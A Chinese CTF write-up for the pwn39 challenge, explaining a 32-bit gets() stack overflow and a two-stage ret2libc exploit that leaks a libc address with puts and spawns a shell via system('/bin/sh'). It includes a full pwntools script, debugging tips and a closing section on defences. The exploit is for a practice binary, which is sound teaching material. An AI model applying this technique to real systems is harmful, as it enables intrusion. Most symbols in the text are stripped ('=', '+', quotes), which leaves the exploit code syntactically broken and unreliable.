32位栈溢出实战:从漏洞发现到ROP链构造的完整利用指南

📅 2026/6/24 21:13:33
32位栈溢出实战:从漏洞发现到ROP链构造的完整利用指南
1. 项目概述从一道经典赛题看32位栈溢出的攻防博弈最近在复盘CTFshow的PWN入门系列做到pwn39这道题时感觉它像是一个微缩的“标本”把32位程序栈溢出利用的几个核心环节都清晰地展现了出来。这道题本身难度不算高但它的“典型性”很强非常适合用来梳理从漏洞发现到最终getshell的完整链条。很多刚接触二进制安全的朋友可能对栈溢出、ROP这些概念有模糊的认识但一到实战面对一个真实的二进制文件往往不知道从哪里下手。pwn39就提供了一个绝佳的切入点它没有复杂的保护机制漏洞点清晰让我们可以专注于理解栈的结构、函数调用约定以及如何构造攻击载荷。今天我就结合这道题把32位栈溢出的实战利用过程掰开揉碎了讲一遍希望能帮你建立起一个清晰的利用框架。简单来说这道题是一个32位的Linux ELF可执行文件开启了NX保护栈不可执行但没有开启栈溢出保护Canary和地址随机化ASLR。程序逻辑很简单读取用户输入然后原样输出。问题就出在这个“读取”上它使用了不安全的gets函数导致我们可以向栈上写入远超其容量的数据从而覆盖关键的返回地址劫持程序的控制流。我们的目标就是利用这个漏洞让程序执行我们想要的代码比如打开一个shellgetshell。整个过程就像是在程序的记忆栈里进行一次精密的“外科手术”用我们输入的数据替换掉它原本要执行的“下一行指令”的地址。2. 环境准备与逆向分析定位漏洞的起点动手之前准备工作必须到位。我习惯在Ubuntu 20.04/22.04 LTS的虚拟机或WSL2环境下进行PWN题研究环境相对纯净。首先你需要安装一套基础工具链GDB Pwndbg/Peda/Gef动态调试神器。我个人偏爱Pwndbg它的命令更现代化对CTF题支持很好。安装也简单git clone下来在~/.gdbinit里source一下就行。checksec用来快速查看程序开启了哪些安全保护。它是pwntools工具包的一部分通常安装pwntools后就能用。objdump/readelf系统自带用于静态分析查看程序节区信息、反汇编代码。ROPgadget/ropper自动化查找ROP链的工具在构造利用时能省不少力气。pwntoolsPython库PWN手的瑞士军刀写exp脚本离不开它。用pip install pwntools安装。拿到题目文件pwn39后第一步不是急着运行而是先用checksec做个“体检”checksec pwn39输出大概会是这样Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这个结果信息量很大Arch: i386-32-little确认是32位小端序程序。这决定了我们后面计算地址、构造payload时都要按32位4字节来。Stack: No canary found没有栈溢出保护Canary。这是关键意味着我们可以肆意覆盖栈上的数据包括返回地址而不会被检测到异常并终止程序。NX: NX enabled栈不可执行NX。这意味着即使我们把shellcode写在栈上程序跳转过去执行时也会触发段错误。因此我们不能用传统的“jmp esp”这种栈上执行代码的方式必须转向其他利用技术比如Return-Oriented Programming (ROP)。PIE: No PIE没有地址随机化。程序加载的基地址是固定的0x8048000。这意味着程序中所有函数、全局变量的地址在每次运行时都是不变的我们可以直接在exp里硬编码这些地址大大简化了利用过程。接下来是静态分析。用objdump -d pwn39反汇编或者用IDA Pro/Ghidra这类更强大的反编译器。我们重点关注main函数和存在输入的函数。通常题目会有一个明显的vulnerable_function或者直接在main里调用gets/scanf等。在pwn39中通过反汇编我们很容易找到一个类似下面的函数片段0804847b vuln: 804847b: 55 push ebp 804847c: 89 e5 mov ebp, esp 804847e: 83 ec 48 sub esp, 0x48 8048481: 83 ec 0c sub esp, 0xc 8048484: 8d 45 bc lea eax, [ebp-0x44] 8048487: 50 push eax 8048488: e8 a3 fe ff ff call 8048330 getsplt 804848d: 83 c4 10 add esp, 0x10 ... 804849a: c9 leave 804849b: c3 ret这里sub esp, 0x48分配了栈空间lea eax, [ebp-0x44]计算了缓冲区的起始地址在ebp-0x44的位置。然后这个地址被作为参数传递给gets函数。gets会一直读取输入直到遇到换行符或EOF且不做任何长度检查。这就是漏洞所在我们向ebp-0x44这个位置开始的缓冲区写入数据如果数据长度超过0x44十进制68字节就会覆盖栈上更高地址的数据。注意ebp-0x44意味着缓冲区距离ebp寄存器有68字节。但在32位调用约定中函数返回时ret指令会从栈顶弹出返回地址到EIP寄存器。这个返回地址存放在哪里呢它在ebp指针的上面高地址方向。所以从缓冲区起始到返回地址的偏移量需要计算清楚。3. 偏移量计算与栈布局分析找到覆盖返回地址的精确距离计算偏移量是栈溢出利用中最基础也最关键的一步。我们需要知道从我们输入的起始位置缓冲区开始到覆盖函数返回地址的位置到底需要多少字节的填充padding。方法有多种方法一动态调试观察栈帧在GDB中在gets函数调用前call gets指令处下断点。运行程序断下后查看栈布局info frame或i f查看当前栈帧信息会显示Saved eip即返回地址的值和位置。x/20wx $esp以字4字节为单位查看栈顶附近内存。找到缓冲区地址通常是$ebp-0x44然后计算到$ebp4返回地址位置的差值。公式为(ebp - buffer_start) 4。这里(0x44) 4 0x48即十进制72字节。这意味着我们需要72字节的垃圾数据如A才能刚好覆盖到返回地址。方法二使用pattern生成与定位这是更通用、更准确的方法尤其适合缓冲区大小不确定的情况。使用pwntools的cyclic功能生成一个不重复的较长字符串pattern。在GDB中运行程序输入这个pattern让程序崩溃。程序崩溃时EIP寄存器或栈上其他被覆盖的关键数据会被pattern的一部分覆盖。用cyclic -l 被覆盖的值命令即可反推出这个值在pattern中的偏移量。例如用pwntools写一个简单的脚本from pwn import * context(archi386, oslinux) # 生成200个字符的pattern pattern cyclic(200) print(pattern) # 运行程序发送pattern手动在GDB中查看崩溃时EIP的值 # 假设崩溃时 EIP 0x6161616c (laaa) offset cyclic_find(0x6161616c) # 或 cyclic_find(blaaa) print(fOffset to EIP: {offset})这种方法能精准定位到覆盖EIP所需的字节数。对于pwn39结果应该也是72。方法三静态分析结合调试验证通过反汇编代码我们知道缓冲区在ebp-0x44。在32位栈帧中调用函数时参数从右向左压栈然后压入返回地址接着是旧的ebp。所以栈布局从低地址到高地址通常是低地址 | ...其他局部变量... | 缓冲区[ebp-0x44] | ... | 旧的ebp | 返回地址 | 高地址从缓冲区开始到返回地址的偏移就是0x44 (缓冲区到ebp) 4 (ebp本身占4字节) 0x48。实操心得我强烈推荐方法二pattern法。它不仅给出了精确偏移还验证了我们的静态分析。在实际比赛中题目可能更复杂有结构体对齐等问题静态计算容易出错pattern法是最可靠的。养成习惯拿到题先cyclic一下。4. 漏洞利用思路构建绕过NX与获取Shell知道了偏移量我们就能控制EIP了。但控制之后跳到哪里去呢由于NX保护栈上的数据我们的shellcode不可执行。因此我们需要利用程序中已有的代码片段来拼凑出我们想要的功能。这就是ROPReturn-Oriented Programming技术。ROP的核心思想是以ret指令结尾的短指令序列称为gadget作为“积木”通过精心构造栈上数据即我们的输入让程序连续执行多个gadget最终达成目的如调用system(/bin/sh)。对于pwn39这种没有PIE的程序利用思路非常直接通常采用ret2libc攻击覆盖返回地址跳转到puts或printf函数的PLT表地址让它输出某个已知函数如gets在内存中的真实地址GOT表项。根据泄露出的真实地址结合本地的libc库计算出libc的基地址。根据libc基地址计算出system函数和字符串/bin/sh的真实地址。再次触发溢出或者程序有循环一次输入完成所有步骤覆盖返回地址为system的地址并布置好参数最终获取shell。但是pwn39作为一道入门题可能有更简单的“后门”函数或者现成的system调用。我们需要先探索一下程序本身提供了什么。用objdump -t pwn39 | grep -E system|exec|bin/sh或者strings -a pwn39 | grep /bin/sh搜索一下。有时题目会直接给出system的PLT地址和一个/bin/sh字符串的地址。如果找到了那就是最简单的ret2text或ret2plt直接跳过去就行。假设pwn39没有这么直接我们就按标准的ret2libc来规划。整个利用链分为两个或一个阶段阶段一泄露libc地址。利用程序本身的puts输出gets的GOT地址。阶段二调用system(“/bin/sh”)。利用泄露的地址计算system和/bin/sh的地址再次溢出执行。5. 利用链构造与Payload编写一步步实现控制流劫持现在我们开始动手编写利用脚本exp。使用pwntools会让这个过程非常清晰。以下是一个针对pwn39标准ret2libc思路的exp框架并附上详细注释#!/usr/bin/env python3 from pwn import * # 设置上下文环境指定架构和系统 context(archi386, oslinux, log_leveldebug) # 启动进程本地调试用process远程打靶用remote(host, port) p process(./pwn39) # p remote(pwn.challenge.ctf.show, 12345) # 用ELF类加载文件方便获取符号地址 elf ELF(./pwn39) # 如果题目提供了libc.so也可以加载 # libc ELF(./libc.so.6) # 第一步计算偏移量这里我们用之前得到的72 offset 72 # 获取关键地址 puts_plt elf.plt[puts] # puts函数在PLT表的地址用于调用 gets_got elf.got[gets] # gets函数在GOT表中的地址里面存的是gets在libc中的真实地址 main_addr elf.symbols[main] # main函数地址用于泄露后再次返回main进行第二次溢出 # 构造第一阶段payload泄露gets的真实地址 # payload布局[72字节垃圾数据] [puts_plt] [main_addr] [gets_got] # 解释覆盖返回地址为puts_pltputs执行时会从栈上取它的返回地址我们布置的main_addr和参数gets_got # puts(gets_got)执行后会打印出gets的真实地址然后返回到main函数开头程序重新开始我们可以再次输入。 payload1 bA * offset payload1 p32(puts_plt) # 覆盖的返回地址跳转到putsplt payload1 p32(main_addr) # puts函数执行后的返回地址我们让它回到main以便二次利用 payload1 p32(gets_got) # puts函数的参数要打印的地址gets的GOT表项 log.info(fPutsplt: {hex(puts_plt)}) log.info(fGetsgot: {hex(gets_got)}) log.info(fMain addr: {hex(main_addr)}) # 发送第一阶段payload p.sendlineafter(binput:\n, payload1) # 假设程序提示符是input: # 接收puts输出的地址。注意输出可能包含换行符或其他脏数据。 # 先接收一行直到遇到换行puts输出字符串会自带换行 leak p.recvline() # 清理数据取前4字节并解包为整数 gets_addr u32(leak[:4]) log.success(fLeaked gets address: {hex(gets_addr)}) # 第二步计算libc基址和system、/bin/sh地址 # 这里需要本地的libc版本与远程一致。可以通过ldd pwn39查看本地链接但远程可能不同。 # 常用方法使用LibcSearcher或DynELFpwntools内置但较慢或者题目会给出libc文件。 # 假设我们知道远程是libc6-i386_2.27-3ubuntu1.4其gets偏移是0x05f150 # 本地计算libc_base gets_addr - libc.symbols[gets] # 如果没有libc文件可以使用在线工具如libc.blukat.me根据泄露的地址末三位查找。 # 这里为示例假设我们已经通过其他手段知道了偏移 # 例如泄露的gets_addr 0xf7dfd150查得libc中gets偏移为0x5f150 # 则 libc_base 0xf7dfd150 - 0x5f150 0xf7d9e000 libc_base gets_addr - 0x5f150 # 这个偏移需要根据实际环境替换 system_addr libc_base 0x03a940 # system函数在libc中的偏移示例值 binsh_addr libc_base 0x15902b # 字符串/bin/sh在libc中的偏移示例值 log.info(fCalculated libc base: {hex(libc_base)}) log.info(fCalculated system address: {hex(system_addr)}) log.info(fCalculated /bin/sh address: {hex(binsh_addr)}) # 构造第二阶段payload调用system(/bin/sh) # payload布局[72字节垃圾数据] [system_addr] [任意4字节返回地址] [binsh_addr] # 解释覆盖返回地址为system_addrsystem执行时会从栈上取它的返回地址我们不在乎填aaaa和参数binsh_addr payload2 bA * offset payload2 p32(system_addr) payload2 p32(0xdeadbeef) # system函数执行后的返回地址无所谓可以填任意值 payload2 p32(binsh_addr) # system函数的参数指向/bin/sh字符串的指针 # 发送第二阶段payload p.sendlineafter(binput:\n, payload2) # 此时应该已经获得了shell将交互权交给用户 p.interactive()注意事项上面的0x5f150、0x03a940、0x15902b等偏移量是示例绝对不可以直接套用不同版本、不同系统的libc这些偏移量天差地别。你必须使用与目标环境完全一致的libc文件并通过readelf -s libc.so.6 | grep system和strings -t x libc.so.6 | grep /bin/sh等命令获取准确的偏移。在CTF比赛中有时会提供libc文件有时需要你根据泄露的地址特征去猜测或爆破。6. 动态调试与问题排查让exp稳定运行的技巧写好了exp第一次运行往往不会那么顺利。动态调试是解决问题的关键。以下是一些常用的GDBPwndbg调试技巧1. 在关键点下断点在exp脚本中可以在发送payload前加上pause()然后手动附加GDB。pause() # 脚本暂停在这里等待你手动操作 payload1 ...然后在另一个终端执行gdb -p pid附加进程。或者在脚本里直接调试p process(./pwn39) gdb.attach(p, b *0x8048488 # 在call gets处下断点 c )2. 观察栈布局和寄存器当程序在断点处停下或崩溃时检查stack 20或x/20wx $esp查看栈内存确认我们的payload是否按预期布局。重点看返回地址是否被正确覆盖为我们预设的地址如puts_plt。info registers或i r查看所有寄存器值。特别是EIP指向下一条要执行的指令和ESP栈顶指针。backtrace或bt查看函数调用栈确认崩溃时的上下文。3. 常见问题与解决偏移量计算错误这是最常见的问题。症状是覆盖的返回地址不对或者程序在奇怪的地方崩溃。务必用cyclic pattern法重新校准偏移。地址错误特别是libc相关症状是泄露的地址看起来不对比如最高位不是0xf7或0x56等libc常见范围或者调用system时崩溃。检查泄露函数是否正确接收到了参数在GDB中单步跟puts调用看其参数是否是我们给的gets_got地址。libc版本是否匹配用泄露的地址末三位如...150去libc database网站查询可能的libc版本。32位程序传参是通过栈确保在system地址后面跟的是返回地址填充然后才是参数字符串的地址。顺序不能错。栈对齐问题在某些系统调用或函数调用时可能需要栈指针ESP在调用时16字节对齐。如果调用system后崩溃可以尝试在system地址前加一个ret指令的gadget地址来调整ESP。即payload变为padding p32(ret_gadget) p32(system_addr) p32(ret_addr) p32(binsh_addr)。这个ret_gadget可以从程序中用ROPgadget找到。输入处理问题程序使用的输入函数gets,scanf,read对空白字符如空格、换行、\x00截断的处理方式不同。如果payload中有这些字符可能导致输入提前终止。尽量使用不会引起问题的字符如A作为填充。对于scanf要特别注意格式化字符串。4. 利用ROPgadget寻找工具链如果程序中找不到直接的system和/bin/sh或者需要复杂的参数布置就需要找更多的gadget。使用ROPgadget --binary pwn39或ropper -f pwn39来搜索。常用的gadget有pop ret;用于从栈上弹出一个值到寄存器如pop ebx; ret;常用于给函数传参。pop pop pop ret;连续弹出多个值。leave; ret;用于栈迁移stack pivot攻击在缓冲区空间极小时非常有用。7. 漏洞利用的扩展与防御思考通过pwn39我们完成了一次标准的32位栈溢出利用。但现实中的漏洞利用和防御要复杂得多。了解这些能帮助我们更好地理解PWN的本质。1. 现代漏洞利用的演进对抗ASLR地址空间布局随机化如果程序开启了PIE或系统开启了ASLRlibc和代码段的基地址每次运行都不同。这就需要通过信息泄露如我们做的来先获取一个已知地址计算出随机化偏移再攻击。或者使用“爆破”技术。对抗Stack Canary栈溢出保护会在返回地址前插入一个随机值canary函数返回前会检查它是否被改变。绕过方法包括泄露canary值如果程序有输出canary的漏洞、覆盖不包含canary的局部变量如相邻数组、或攻击其他脆弱点如堆、格式化字符串。利用链复杂化当直接getshell不可行时可能需要构造更复杂的ROP链先调用mprotect赋予某段内存可执行权限再将shellcode写入并执行或者利用printf等函数进行任意写Write-What-Where。2. 从攻击者视角看防御理解攻击才能更好地防御。开发者可以永远不使用不安全的函数如gets,strcpy,sprintf等用其安全版本fgets,strncpy,snprintf代替。启用所有安全编译选项-fstack-protector-allCanary,-pie -fPIEASLR,-Wl,-z,relro,-z,nowFull RELRO等。进行代码审计和模糊测试定期检查代码中的危险函数调用使用自动化工具进行测试。部署运行时保护如操作系统的ASLR、DEP数据执行保护即NX。3. 给初学者的进阶建议从简单到复杂先熟练掌握像pwn39这种无保护的栈溢出再逐步挑战有Canary、PIE的题目。善用工具但理解原理pwntools、ROPgadget等工具能极大提升效率但务必清楚其背后原理知道payload每一部分的作用。建立自己的知识库记录不同版本libc的偏移、常用gadget、各种保护机制的绕过技巧。多动手调试调试是理解程序运行状态最直接的方式。不要怕出错每一个崩溃信息都指向一个需要解决的问题。回过头看pwn39它就像一本教科书把栈溢出的“标准答案”摆在了那里。通过它我们不仅学会了一种攻击技术更重要的是理解了程序内存是如何组织的函数是如何调用和返回的以及当安全边界被打破时会发生什么。这种对计算机系统底层运行机制的理解才是学习PWN乃至整个二进制安全最大的收获。